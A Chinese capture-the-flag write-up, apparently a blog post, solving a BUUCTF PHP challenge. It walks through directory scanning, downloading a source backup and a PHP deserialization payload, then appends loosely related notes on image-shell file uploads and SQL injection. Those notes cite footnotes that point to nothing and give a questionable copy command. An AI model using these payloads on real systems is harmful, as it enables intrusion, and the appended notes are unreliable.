[极客大挑战 2019]PHP1

打开题目

游戏界面

猜测php里面有文件,我们可以用dirsearch 扫描一下这个服务器

执行命令

dirsearch -u http://2999dfd5-1d43-4a81-a088-9e41c9dccab4.node4.buuoj.cn/ -e php > test.log

最后在log文件中找到一个 200 www.zip

浏览器输入payload下载下来

得到目录文件

解读一下php代码,进行反序列化

payload

?select=O:4:“Name”:3:{s:14:" Name username";s:5:“admin”;s:14:" Name password";i:100;}

但是发现这个里面有空格,所以把空格url编码变成%00再传参

Payload:

/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

### 极客挑战 2019 PHP 比赛详情 #### 文件上传与图片马利用 在极客挑战2019中,存在一道涉及文件上传漏洞的题目。攻击者可以通过特定技术手段绕过服务器端的安全检查机制来实现恶意代码的上传并执行。具体来说,通过文件头及文件内容检测的方式,将后缀名为`.jpg`的文件成功上传至服务器[^3]。 为了进一步提升攻击效果,还可以采用DOS命令组合不同类型的文件创建所谓的“图片马”。例如使用如下命令: ```bash copy 1.jpg/a+php.php/b php.jpg ``` 此操作会把一张正常图像文件同包含PHP脚本的内容合并成一个新的复合文件,在某些配置不当的服务环境中能够被执行从而达到远程控制的目的。经过测试确认,除了常见的`.php`扩展名外,像`.phtml`这样的变种同样会被解释器识别处理。 #### SQL注入技巧探讨 另一类值得关注的是关于SQL注入方面的考察点。对于可能存在此类风险的应用程序接口而言,了解如何根据返回错误提示推测数据库查询结构是一项重要技能。当面对含有多个参数的情况时,则需尝试分别提交诸如整数、字符串等形式的数据片段去观察响应变化规律,进而推断出完整的SQL表达式构成模式[^4]。 ```sql SELECT * FROM users WHERE id = '1' AND username='admin' ``` 上述例子展示了基本形式下的条件拼接逻辑;而在实际竞赛场景里,选手们往往要应对更复杂多样的情形,比如嵌套子查询或者联合查询等高级语法应用场合下所引发的各种异常状况分析工作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值